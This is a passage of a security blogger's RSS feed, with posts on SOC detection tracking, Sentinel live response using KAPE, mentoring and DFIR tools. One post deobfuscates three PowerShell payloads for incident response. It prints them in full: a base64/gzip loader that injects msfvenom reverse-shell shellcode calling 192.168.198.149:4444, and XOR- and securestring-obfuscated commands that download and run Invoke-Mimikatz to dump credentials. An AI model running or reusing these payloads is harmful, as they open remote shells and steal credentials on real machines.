<p><strong>Tracking visibility and alert capabilities</strong> (<strong>current and desired)</strong> is another thing a SOC should have. This can be done from a couple of different view. You can use MITRE, asset types, or application as a basis for visibility. Without tracking capabilities, it will be hard to measure how far you are from your desired goal, and even worse, whether you are moving toward your goal at all. Regularly reviewing your current capabilities and desired goals is also important, and this goes without saying.</p>
<p>Maintaining an inventory and tracking visibility and alerts help combat one of the pitfalls of detection engineering mentioned in <a target="_blank" href="https://medium.com/anton-on-security/detection-engineering-and-soc-scalability-challenges-part-2-6d2cf83a8467">chuvakin's blog</a>, that it often it starts from available data, and not from relevant threats. Prioritization is still very much a gut feeling affair based on assumption, individual perspective and analysis bias.</p>
<p>And since I quoted chuvakin previously, let me close this post with another word of wisdom from <a target="_blank" href="https://medium.com/anton-on-security/detection-engineering-and-soc-scalability-challenges-part-2-6d2cf83a8467">chuvakin's blog</a></p>
<blockquote>
<p>Inscrutable and unmaintainable detection content — if the detection was not developed in a structured and meaningful way, then both alert triage and further refinement of detection code will ..ahem … suffer (this wins the Understatement of the Year award)</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Moving the blog]]></title><description><![CDATA[Why I move the blog
My previous blog was hosted in GitHub, using Jekyll-now. The main reason to again move my blog is the will power needed to maintain the blog is annoyingly high. This took away time from the actual writing itself. So I have been th...]]></description><link>https://aldosimon.com/moving-the-blog</link><guid isPermaLink="true">https://aldosimon.com/moving-the-blog</guid><category><![CDATA[off base]]></category><category><![CDATA[Off Topic]]></category><category><![CDATA[Blogging]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Fri, 09 Aug 2024 23:59:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/j7vbBmTHmjY/upload/60ea742e6620914e17d2bf707367623d.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-why-i-move-the-blog">Why I move the blog</h3>
<p>My previous blog was hosted in GitHub, using Jekyll-now. The main reason to again move my blog is the will power needed to maintain the blog is annoyingly high. This took away time from the actual writing itself. So I have been thinking about moving the blog for a while. I need a platform where that is not too time consuming to post and maintain a blog.</p>
<p>That is when came across Hashnode. The main features that sold me on Hashnode was simple export feature and GitHub backup, also no charge for custom domain, and (what I previously thought) <a target="_blank" href="https://hashnode.com/post/style-your-hashnode-blog-with-custom-css-ckfwpesyg00ut0es10jgk5uwl">custom CSS</a>.</p>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczN4pJOm-RZOrK1Nqwhf6SILTK9B4YLscG902pIsH0-ILz_X59jpuwnBDuVUJVZH_k11E7B8sKGN7Ig5-OrZjq9OLwkLJjPoP6zcapowa0oDVwJ8U5yw8GjXvMO5r2uD4T0ycCABdXbvxMjSgX4xv7Q=w200-h200-s-no-gm" alt class="image--center mx-auto" /></p>
<h3 id="heading-the-experience-moving-to-hashnode"><strong>The experience moving to Hashnode</strong></h3>
<p>The moving was not at all painful. I used the bulk import from markdown feature, and Hashnode takes care of 80% of the problem. The rest is making sure the post have the right images and tags.</p>
<p>The tags part is a bit annoying, since Hashnode did not import any tags from my markdown🤷‍♂️. For images, luckily, I do not have a lot of post with images. But to avoid future pain, for when I inevitably move to another platform again, I am now hosting them in google photos instead of locally on the blog platform.</p>
<p>For now, let see how if I beat the previous <a target="_blank" href="https://aldosimon.com/moving-to-static-website">record</a> in Jekyll (Nov 1st, 2019 - August 8th, 2024).</p>
]]></content:encoded></item><item><title><![CDATA[Improving sentinel live response collection]]></title><description><![CDATA[Throughout my experience using sentinel, I felt that sentinel live response collection is not very good. This post document how I try to solve the problem and obstacles I found. 

Intro
Sentinel have live response capabilities to do collection of dev...]]></description><link>https://aldosimon.com/improving-sentinel-live-response-collection</link><guid isPermaLink="true">https://aldosimon.com/improving-sentinel-live-response-collection</guid><category><![CDATA[detection engineering ]]></category><category><![CDATA[SIEM]]></category><category><![CDATA[incident response]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Sun, 24 Sep 2023 13:48:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/D-oimR6JX0E/upload/81a1d019d7f50ca8d83fec411c5c6e18.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Throughout my experience using sentinel, I felt that sentinel live response collection is not very good. This post document how I try to solve the problem and obstacles I found. </p>

<h4 id="heading-intro">Intro</h4>
<p>Sentinel have live response capabilities to do collection of devices in case of DFIR needs. </p>
<p>The problem is sometime the collection is not as complete as needed, and to customize this, a script (or executable) is needed. </p>
<p>Although I won't share any detailed script but here is how similar problem was solved and what obstacle I found.</p>
<h4 id="heading-what-we-did">What we did</h4>
<p>What basically we need to do is using power shell to do prep work and KAPE to do most of the heavy lifting. These are several steps taken to do that:</p>
<ul>
<li><p>run live response, download customized power shell script.</p>
</li>
<li><p>power shell script was then used to download KAPE,  run KAPE with required parameters, and upload collection result.</p>
</li>
<li><p>blob storage was used to store KAPE executable and later the collection result.</p>
</li>
</ul>
<h4 id="heading-obstacles">Obstacles</h4>
<p>Here are obstacles found in implementing the solution and some work around used to deal with it:</p>
<ul>
<li><p>KAPE run pretty okay, but in the end decided to use batch mode instead of compound target in KAPE. This is to ensure collection run as efficient as possible.</p>
</li>
<li><p>One the problem is trying to group folders from the same machine, because batch upload to blob storage will have each batch command in separate folder. 
Although KAPE -s3kp switch will allow folder grouping, the problem is the switch won't take environment variables (unlike --tsource/ --tdest switch) so no way to group collection result using machine name.</p>
</li>
<li><p>Power shell is used to solve this by writing environment variables straight to KAPE batch file in -s3kp switch instead of using %m internal KAPE variables.</p>
</li>
<li><p>Another thing I found is KAPE turns to zombie after finishing task, which is annoying but since collection probably done only once, I don't think this is a big problem.</p>
</li>
</ul>
<h4 id="heading-result">Result</h4>
<p>In the end the implementation run pretty okay, and I think all in all this is a pretty good solution.</p>
<p>Aside than those problems, doing this at scale is another problem to solve. This I believe will require API access and impossible to create workaround via power shell.</p>
<h4 id="heading-other">Other</h4>
<ul>
<li>more on KAPE:<a target="_blank" href="https://ericzimmerman.github.io/KapeDocs/">KAPE manual</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[A tale of two mentoring]]></title><description><![CDATA[So I got two interesting opportunity in 2022. That is praktisi mengajar to talk about network forensic, and the other one is Deall Mentorship. Here how's those things goes:
In praktisi mengajar, I got the chance to co-teach at a university on network...]]></description><link>https://aldosimon.com/praktisi-mengajar-dan-deall-mentoring-program</link><guid isPermaLink="true">https://aldosimon.com/praktisi-mengajar-dan-deall-mentoring-program</guid><category><![CDATA[mentorship]]></category><category><![CDATA[mentor]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Tue, 01 Nov 2022 18:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/y_6rqStQBYQ/upload/8eac2608811df1129f16d6daed62da49.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>So I got two interesting opportunity in 2022. That is praktisi mengajar to talk about network forensic, and the other one is Deall Mentorship. Here how's those things goes:</p>
<p>In praktisi mengajar, I got the chance to co-teach at a university on network forensic. The topic was on network forensic, and the overall experience was fun. One thing I overlook was I might have misjudged the knowledge of university students, something that I planned to do better if another similar chance arrived.</p>
<p>The network forensic class co-teach took half a semester (i.e. 4 meetings @ 2 hour) and I cover suricata and wireshark (super briefly). I practically didn't take any documentation at all, another thing I'm gonna work out next time around.</p>
<p>While in Deall Mentoring, I'm paired with a mentee to talk about my experience as a proffesional. My mentee had a very interesting career change, something that I mulled over, and finally pulled the trigger on. So I believe some of what I blab about on our meeting is somewhat useful :D.</p>
<p>To be completely honest I think I learned more than teach on both opportunity, that is why I loved teaching/ mentoring gigs and would be looking out for more chances.</p>
]]></content:encoded></item><item><title><![CDATA[CDEF bulletin 2022]]></title><description><![CDATA[My writings on use case of MITRE that I send  to cdef.id for their (supposedly) quarterly bulletin.
This would be the second time cdef published my writings (check out the first one over here).
The bulletin can be accessed [here](writings/CDEF Buleti...]]></description><link>https://aldosimon.com/1st-cdef-bulletin-2022</link><guid isPermaLink="true">https://aldosimon.com/1st-cdef-bulletin-2022</guid><category><![CDATA[writing]]></category><category><![CDATA[MITRE]]></category><category><![CDATA[infosec]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Sun, 21 Aug 2022 18:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/-64OzuZ8ThE/upload/2970a617121215cfcbf0d613465dcf53.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>My writings on use case of MITRE that I send  to cdef.id for their (supposedly) quarterly bulletin.
This would be the second time cdef published my writings (check out the first one over <a target="_blank" href="https://aldosimon.com/the-fault-in-our-shell/">here</a>).</p>
<p>The bulletin can be accessed [here](writings/CDEF Buletin Edisi 1 Tahun 2022.pdf) or <a target="_blank" href="https://cdef.id/cdef-buletin-edisi-1-2022/">here</a></p>
]]></content:encoded></item><item><title><![CDATA[Powershell base64 payload]]></title><description><![CDATA[I was doing some 'weird jobs', and needed to know what really is happening with this powershell base64 payload. The payload itself is nothing typically new, but I think I'll post it here incase someone needed it, since it was pretty hard trying these...]]></description><link>https://aldosimon.com/powershell-base64-payload</link><guid isPermaLink="true">https://aldosimon.com/powershell-base64-payload</guid><category><![CDATA[DFIR]]></category><category><![CDATA[incident response]]></category><category><![CDATA[infosec]]></category><category><![CDATA[Base64]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Wed, 17 Aug 2022 05:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/ueyCSlKUroU/upload/df031bf9a8270df07eb546f204c74e61.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I was doing some 'weird jobs', and needed to know what really is happening with this powershell base64 payload. The payload itself is nothing typically new, but I think I'll post it here incase someone needed it, since it was pretty hard trying these resources when I needed it.</p>
<p>so here's some of those powershell payload.</p>
<h4 id="heading-the-one-with-shellcode">the one with shellcode</h4>
<pre><code class="lang-bash">powershell.exe<span class="hljs-string">" -nop -w hidden -c <span class="hljs-variable">$s</span>=New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIALxR4FcCA7VWf2/aSBD9O5X6HawKCVslGAhpmkiVbo0xEDABHCCGotPGXpuFxUvs5Wev3/3GYDdUTar0pLMSseuZ2X375s2OvVXgCMoDaYltQ/r2/t1ZB4d4IckZl667NmZ2Tsp4wa7aLClnZ2DOrM1OoNXYcqTXpC+SPEbLpc4XmAaTm5vKKgxJII7zfI0IFEVk8cgoiWRF+kcaTklIzu8eZ8QR0jcp83e+xvgjZonbroKdKZHOUeDGthZ3cIwtby0ZFXL269esMj4vTvLVpxVmkZy1dpEgi7zLWFaRvivxhve7JZGzJnVCHnFP5Ic0uCjl+0GEPdKG1dbEJGLK3SirwGHgLyRiFQbS6bHidY5echaGnZA7yHVDEkFQvhGs+ZzImWDFWE76Sx4nIHqrQNAFAbsgIV9aJFxTh0T5Og5cRnrEm8htsknP/tYg+TQIvDoiVHKQnNfRmtxdMXJcIKv8ivdHXhV4nnMLbHx//+79Oy/VQ3TZs4K/69v1qShgdDY+jAkAljs8ogfnL1IhJ5mwJxY83ME0cx+uiDKRxnE+xpOJlGHuZTn3enwxdQbXPbl4uIR34wGn7gRiklRlvO4wWG/KmMbG13WnE48GRN8FeEGdVFryS/QTj5HDcfOpWxugydnEQFydMOJjETOZk8a/hlUXVPyI1VaUuSREDqQwAlSQXeVnMMfkyNlGYJIFMHWcZ+M0gKBJ6p2IeJfuHs/BKVthOIpyUmcFFeXkJItgRtychIKIJia0EvwwzD7DNVdMUAdHIl1uovxEZrJphQeRCFcOZBAIuLeWxKGYxXzkpDp1ibazqJ9unn2RjQpmjAY+rLSGbMCbmAVLxLoIAedBA0reIqKxWDKyAJ9DfRsM+1DNSTEchIR94mZfhJlK/ajrmJWUjhOQkGqLcZGTBjQUcFfEDB9U9d9AnFwTz3AqIUlSI6fFM9Z2IlZ7ZtrdOsOeE8s0YenASSiADyPkCw1H5FPZEiGwJX9Q72gFwWM3AmY62pwW0YYWGyb89+lFg+tXbvN2VldDfTv1UCNqmPWO3q3Xy+tba1AWVrUhmp2GMKsPs5mF6r2+LUYNVL+nhbld3i9v6d5qIdfeqp/22n5T0Lb7me96tu55/pVn9YqXBm0NK12tUMItvbpqDbWNVihHVbqpd2m/O781xKM9YLjvqf5D8RrTbSucDYrc3DcQqk0vnP2tN6hNTXdn19XrYXmOqghVgurA0HjT1kLUUQfYH/BNc1ZjQ7+CNMOhZNTtG1q3a2ioX5s96deqD7EPeKoNByU6Wj70pjA3AEJTLZQbLtlzuwsk1TjCfg98/ErJmXrgo39E2sc2j0p4rnGkgY8xegJc9tLoMLDf90scDVj7AaPWaGeoatHulFG9QIc1H8VLYl/rYhSt9b2uFgcud4eXbdtTBw/sStUr90vHU1V1U9ebzqi4/Xx3VdYKT5UFXbDHkqte9z9rwabpd9a+2x1e9bbt3SPs11fVwYdYOyCezGJ2vTSvTtTw2r1v4jCaYgYqgZs8LVeDh0ZyK3c4jSNk+dCt5yQMCIP2Bg0wVTpijDtxi3i+v6FHHTvHBIq2D8OL0osjRfrhqDw3jvTVzc0IoEL9JNrOt0jgi2musL0oFOD2L2zLBTjv209Y4cudnK6WixtIwtPJHuywhxLXVsaf96In1Pp/WUyKego/7ptYfH73G+ubmC3k0vP/Yvj5xR+x/McMDDEV4GnBzcTIsV3+hohEOSffGUmaQBde8sQffncrcd6GL5B/AQG25GNvCgAA'));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream(<span class="hljs-variable">$s</span>,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();</span>
</code></pre>
<p>what I did was decode using base64 and gunzip, here it is with gunzip and base64 decode using cyberchef. and you can see another base64 in $hQxcWRc. convert that in to hex, and the header (fc e8 82 00) is of msfvenom shellcode. Download conversion result and run scdbg if needed, where we can see 192.168.198.149:4444.</p>
<pre><code class="lang-bash"><span class="hljs-keyword">function</span> paYF {Param (<span class="hljs-variable">$divQYalY</span>, <span class="hljs-variable">$fnyEK2</span>)
<span class="hljs-variable">$vMPnBGlpZDG</span> = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { <span class="hljs-variable">$_</span>.GlobalAssemblyCache -And <span class="hljs-variable">$_</span>.Location.Split(<span class="hljs-string">'\\'</span>)[-1].Equals(<span class="hljs-string">'System.dll'</span>) }).GetType(<span class="hljs-string">'Microsoft.Win32.UnsafeNativeMethods'</span>)
<span class="hljs-built_in">return</span> <span class="hljs-variable">$vMPnBGlpZDG</span>.GetMethod(<span class="hljs-string">'GetProcAddress'</span>).Invoke(<span class="hljs-variable">$null</span>, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), (<span class="hljs-variable">$vMPnBGlpZDG</span>.GetMethod(<span class="hljs-string">'GetModuleHandle'</span>)).Invoke(<span class="hljs-variable">$null</span>, @(<span class="hljs-variable">$divQYalY</span>)))), <span class="hljs-variable">$fnyEK2</span>))}
<span class="hljs-keyword">function</span> s5RSn_Hxv {Param (    [Parameter(Position = 0, Mandatory = <span class="hljs-variable">$True</span>)] [Type[]] <span class="hljs-variable">$ld54</span>,[Parameter(Position = 1)] [Type] <span class="hljs-variable">$ze3X5</span> = [Void])
<span class="hljs-variable">$fQWnvw4ai</span> = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(<span class="hljs-string">'ReflectedDelegate'</span>)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(<span class="hljs-string">'InMemoryModule'</span>, <span class="hljs-variable">$false</span>).DefineType(<span class="hljs-string">'MyDelegateType'</span>, <span class="hljs-string">'Class, Public, Sealed, AnsiClass, AutoClass'</span>, [System.MulticastDelegate])
<span class="hljs-variable">$fQWnvw4ai</span>.DefineConstructor(<span class="hljs-string">'RTSpecialName, HideBySig, Public'</span>, [System.Reflection.CallingConventions]::Standard, <span class="hljs-variable">$ld54</span>).SetImplementationFlags(<span class="hljs-string">'Runtime, Managed'</span>)
<span class="hljs-variable">$fQWnvw4ai</span>.DefineMethod(<span class="hljs-string">'Invoke'</span>, <span class="hljs-string">'Public, HideBySig, NewSlot, Virtual'</span>, <span class="hljs-variable">$ze3X5</span>, <span class="hljs-variable">$ld54</span>).SetImplementationFlags(<span class="hljs-string">'Runtime, Managed'</span>)
<span class="hljs-built_in">return</span> <span class="hljs-variable">$fQWnvw4ai</span>.CreateType()}
[Byte[]]<span class="hljs-variable">$hQxcWRc</span> = [System.Convert]::FromBase64String(<span class="hljs-string">"/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VagVowKjGlWgCABFcieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoYQAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0iWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCTpcf///wHDKcZ1x8O74B0qCmimlb2d/9U8BnwKgPvgdQW7RxNyb2oAU//V"</span>)
<span class="hljs-variable">$mj9pM7</span> = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paYF kernel32.dll VirtualAlloc), (s5RSn_Hxv @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, <span class="hljs-variable">$hQxcWRc</span>.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy(<span class="hljs-variable">$hQxcWRc</span>, 0, <span class="hljs-variable">$mj9pM7</span>, <span class="hljs-variable">$hQxcWRc</span>.length)
<span class="hljs-variable">$gkRsqAL</span> = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paYF kernel32.dll CreateThread), (s5RSn_Hxv @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,<span class="hljs-variable">$mj9pM7</span>,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paYF kernel32.dll WaitForSingleObject), (s5RSn_Hxv @([IntPtr], [Int32]))).Invoke(<span class="hljs-variable">$gkRsqAL</span>,0xffffffff) | Out-Null
</code></pre>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczNKAAbMO6q-2yWxm4RNYqdYeYc-HKs8xopdwqXMp9HmCILyhoHU-0YqY7vJ0EsNl9JNtR9stpSfhRKFOLLRWWd-_wbXjoWxqWWnExmTgKG5J5rY94TdFkJYg61h6fLj3JBtNo2tC_ReS3Ij-Li_hjc=w357-h174-s-no-gm" alt class="image--center mx-auto" /></p>
<h4 id="heading-the-one-with-base-10-xor">the one with base 10 xor</h4>
<pre><code class="lang-bash">( [cHAR[]] ( 20 , 24, 5 ,125 , 117 , 19, 56,42, 112 ,18 , 63 , 55,56 ,62,41,125,19 , 56 , 41 ,115 ,10,56 ,63, 30 , 49 ,52 ,56 ,51, 41 , 116 , 115, 25 ,50,42 ,51, 49,50,60, 57, 14, 41 ,47 , 52, 51, 58 ,117 ,122 , 53, 41,41 , 45 , 46,103, 114, 114,47 ,60, 42, 115, 58 , 52 , 41 ,53 ,40, 63 , 40 , 46, 56,47 , 62 ,50 ,51, 41 ,56,51,41, 115 , 62, 50 ,48 , 114,48,60 , 41,41 ,52 ,59, 56, 46, 41 ,60, 41 , 52,50 , 51, 114 , 13,50,42 ,56 , 47 ,14 ,45 , 49, 50 , 52 ,41 , 114 ,48, 60, 46,41, 56,47, 114 , 24,37,59,52 , 49 ,41, 47, 60,41,52 , 50 , 51 , 114 ,20 , 51 ,43, 50,54 ,56, 112 , 16 , 52, 48 , 52 , 54, 60 ,41,39, 115, 45 ,46 , 108 , 122,116,102, 125 ,20 ,51 , 43, 50 , 54 ,56 ,112, 16, 52,48,52, 54,60 , 41 , 39 ,125 ,112 , 25, 40 , 48, 45,30 ,47 ,56, 57 ,46 ) |%{[cHAR] ( <span class="hljs-variable">$_</span> -BXor<span class="hljs-string">"0x5d"</span> ) } )-JOIN<span class="hljs-string">''</span>|.( <span class="hljs-variable">$ENv</span>:ComSPEc[4,15,25]-jOIN<span class="hljs-string">''</span>)
</code></pre>
<p>to see payload we convert from charcode using base 10, and do XOR using 5d as key, the result will be:</p>
<pre><code class="lang-bash">IEX (New-Object Net.WebClient).DownloadString(<span class="hljs-string">'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'</span>); Invoke-Mimikatz -DumpCreds
</code></pre>
<h4 id="heading-the-one-with-securestring">the one with securestring</h4>
<pre><code class="lang-bash">[rUntImE.iNtEROPSeRviCEs.mARShaL]::pTRtOSTriNGBstR([ruNtIMe.iNTeropSERVIcES.MarsHAl]::seCUResTRingtObstr($(<span class="hljs-string">'76492d1116743f0423413b16050a5345MgB8ADcAUABxAFcAagBnAHgAUQBpAGoARABCADkARABNAHgAVQAxAEgAUQA1AGcAPQA9AHwANABjADQANgBmADUANgA3ADgAYgBhADkANwBmADUANwA3ADgAOABlADkANgAxAGMAMgA0ADAAMQA0ADkAZQA3AGEAYQAwADUANQAxADAANQBiADcAMQA3ADUANQA4AGEAYwAyAGMANQA3ADkAYgBiADkAMQBhAGIANgAzAGUAYwAxAGEAOAAwAGMAZABkADUAMgA4ADcAZAA1AGUAMwA4AGEANAA3AGUANQA5ADUANwBjAGMANwA5ADcAMwBhADIANAA2ADMAMQBmAGMAYwA1ADgAYQA5ADQAOAAwADgAOQAyADQAYwA2ADUAYwAyADkANgBhAGUAYwA0ADAAZAA2AGQANQA0ADkAYgA3ADgAYQA1ADcANAA5ADYAYwAyADgAZQA5AGIANgBlADQAZgBlADgAYQBlADcAYQA1ADgAYQAxADYAYgA3AGUAZABiAGEAMgAyAGMAZAA3AGEAMAA4AGYAYwAyAGMAMQAxADUANAAzADUAOAA1ADIAMQA4AGMANQA1AGEANAA4ADgAZgA0AGQAZgBhADYAYwBhAGIAOAA1AGUANgBlADMAMQBiAGMAYwA4AGEANAAxADMANgAxADEAYwBlADgAZQBjAGUAMwBkADEAYgA1AGQAMgBiADYANQA5AGUANgA5AGMAZAA1AGIANgBkADMAYwA4ADYANwAwADkAMwA4AGUAOABiADIANgA3AGIAZABkADEAYQA4ADMAOQBkAGQAOQAxADkANwA5ADkAYQA4ADYAZQBlADIANQBkADYAMQA5ADEAMQA0ADUANwA3ADkAMgA3AGUAMwBkADEANQBlADgAZABlADcAZgAyADQAYgBhADAAYwA4ADgANABjADkAYgBiADUANQAxADQAOQBjADkAMgBhAGYAOQAwAGUAOQA4ADUANgA2ADcAZAA5ADQANAAzAGQANABiADIAOABlAGUANAA0AGIANAAxADEAOABlAGMAMQBlADIANgA0AGIAMQA2AGYAMwBlAGUAYQA1ADkAOABmADgAMAA4ADEAZgAyADIAZQBmADQAMABlADgAMAAxADcAZABiAGEAOQAyAGIAYgBhAGUAMAA0ADIAZQA2ADcAZQA3ADQAMQA0ADYAMgA0ADQAZQBmADEAOQBlADkAYwAxAGEANwBjAGMAOQBjAGYAZgAyAGMAYgA0AGEAMAA3ADMANABkAGQAMwA0AGUAOAA4AGUANQAwADEAYgA2ADkAZgAyADgAYQA1AGQAOQA4AGQAMQAxADgAOAA4AGMAZQAwAGEAZQBmADMAZQAyAGYAMgA1ADgAZgA4ADcAMwA1ADkANQA4AGUAYwBjADQANwBiADcAYgA1ADAAYQA5AGMAZgAyADMAZAA3ADQANgA1ADEAZgAxAGQANAA5ADEAYQAwADcAYgBhAGMAMwA3ADcAYgBmADgAMwA2ADYAYQBjAGUAZAA4ADIAZABmAGEAMwA0AGQAYwBjADkAZABlADYAYgAyADkAMABlAGUAYgAwADAAMgBjADIANgAwADMAMQA3AGMAMQBlADIAMQBlADQANAA1AGUAOAAzADgAYQBkAGMANAA0AGYAMwBlADgAYgA5ADMAMwBlAGIANgAwAGEANgAyADAAZABlADkANgAxADMANgA4ADgAMAA4ADUAMgBiADEAYgAzAGYAMQAxADkAZgAyADMAMQAzADkAMAA0ADkANQBlADMAOAA3AGYAMQA5AGUAZQAxADEAZgBlADMANQBjADEANAA2AGEAYQA3AGIANABiAGUAMQAwADUAMABhADQAZgAzAGQAZgBmADkAZQBmADYAYQBhADUAYwBmAGUANABhAGUAOABkAGYAMAA4AGYAMgA5AGQANAA2AGUANQA4ADcANgAzADgAYwBlADcAYwBkADEANwBhADAAMwAwAGEANQAxAGMAOQA1ADIAZgBmAGYANgA2ADYAZgA0ADAAOQA='</span>|CONveRTTO-secUResTRING  -KEy  196,47,72,214,193,53,146,52,139,252,69,219,170,135,151,62,90,5,213,36,116,154,71,183) ) ))| .( <span class="hljs-variable">$VErBosePRefERencE</span>.toStrING()[1,3]+<span class="hljs-string">'x'</span>-JOiN<span class="hljs-string">''</span>)
</code></pre>
<p>to see payload we convert from securestring (https://www.wietzebeukema.nl/powershell-securestring-decoder/) and use key provided, and it will result with similar script as before (invoke-mimikatz).</p>
]]></content:encoded></item><item><title><![CDATA[DFIR tools]]></title><description><![CDATA[even with the awesome list all over github, I kept losing tracks of cool tools, so here are some of them:
(last update 11.09.2022)
in the spirit of keep updating the resources, I'm moving this post to aldosimon/infosec-compendium
event log parser
cha...]]></description><link>https://aldosimon.com/dfir-tools</link><guid isPermaLink="true">https://aldosimon.com/dfir-tools</guid><category><![CDATA[DFIR]]></category><category><![CDATA[incident response]]></category><category><![CDATA[scripts]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Sat, 06 Aug 2022 18:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/0CCVIuAjORE/upload/ef82da3727dae3bb7d5f5217ef0a2b70.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>even with the awesome list all over github, I kept losing tracks of cool tools, so here are some of them:</p>
<p>(last update 11.09.2022)</p>
<p>in the spirit of keep updating the resources, I'm moving this post to <a target="_blank" href="https://aldosimon.com/infosec-compendium">aldosimon/infosec-compendium</a></p>
<h4 id="heading-event-log-parser">event log parser</h4>
<p><a target="_blank" href="https://github.com/WithSecureLabs/chainsaw">chainsaw</a> Chainsaw provides a powerful ‘first-response’ capability to quickly identify threats within Windows event logs. It offers a generic and fast method of searching through event logs for keywords, and by identifying threats using built-in support for Sigma detection rules, and via custom Chainsaw detection rules.</p>
<p><a target="_blank" href="https://github.com/sans-blue-team/DeepBlueCLI">DeepBlueCLI</a> a PowerShell Module for Threat Hunting via Windows Event Logs</p>
<p><a target="_blank" href="https://techcommunity.microsoft.com/t5/exchange-team-blog/log-parser-studio-2-0-is-now-available/ba-p/593266">logparser studio</a> event viewer and other logs parsing with SQL Language interface</p>
<h4 id="heading-endpoint">endpoint</h4>
<p><a target="_blank" href="https://github.com/Velocidex/velociraptor">velociraptor</a> Velociraptor is a tool for collecting host based state information using The Velociraptor Query Language (VQL) queries.</p>
<p><a target="_blank" href="https://osquery.io/">osquery</a> osquery is a SQL powered operating system instrumentation, monitoring, and analytics framework.</p>
<p><a target="_blank" href="https://github.com/Neo23x0/Loki">loki</a> Loki - Simple IOC and YARA Scanner</p>
<p><a target="_blank" href="https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape">KAPE</a> Kroll Artifact Parser And Extractor, lets forensic teams collect and process forensically useful artifacts within minutes.</p>
<h4 id="heading-all-in-one-analysis">all in one analysis</h4>
<p><a target="_blank" href="http://www.sleuthkit.org/">autposy/ TSK</a> Autopsy® is a digital forensics platform and graphical interface to The Sleuth Kit® and other digital forensics tools</p>
<h4 id="heading-knowledge-base-tutorial-cheatsheet-etc">knowledge base, tutorial, cheatsheet, etc</h4>
<p><a target="_blank" href="https://github.com/stuhli/awesome-event-ids">event ids</a> github event id awesome list</p>
<p><a target="_blank" href="https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack">mitre to evtx</a> MITRE mapping to event id</p>
<p><a target="_blank" href="https://zeltser.com/media/docs/security-incident-log-review-checklist.pdf">lenny zeltser log cheatsheet</a> IR critical log review cheatsheet</p>
<p><a target="_blank" href="https://zeltser.com/media/docs/security-incident-survey-cheat-sheet.pdf">lenny zeltser incident survey</a> Security incident survey cheat sheet for server administrators</p>
]]></content:encoded></item><item><title><![CDATA[Windows core processes]]></title><description><![CDATA[Dalam sebuah kegiatan incident response, adakalanya kita perlu mengetahui karakteristik proses yang sedang berjalan, sehingga dapat memutuskan apakah proses tersebut malicious atau tidak. Berikut beberapa proses inti windows (Windows core processes),...]]></description><link>https://aldosimon.com/windows-core-processes</link><guid isPermaLink="true">https://aldosimon.com/windows-core-processes</guid><category><![CDATA[DFIR]]></category><category><![CDATA[Windows]]></category><category><![CDATA[incident response]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Sat, 16 Apr 2022 23:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/T01GZhBSyMQ/upload/06c089635cf33372657d4211d933faa7.jpeg" length="0" 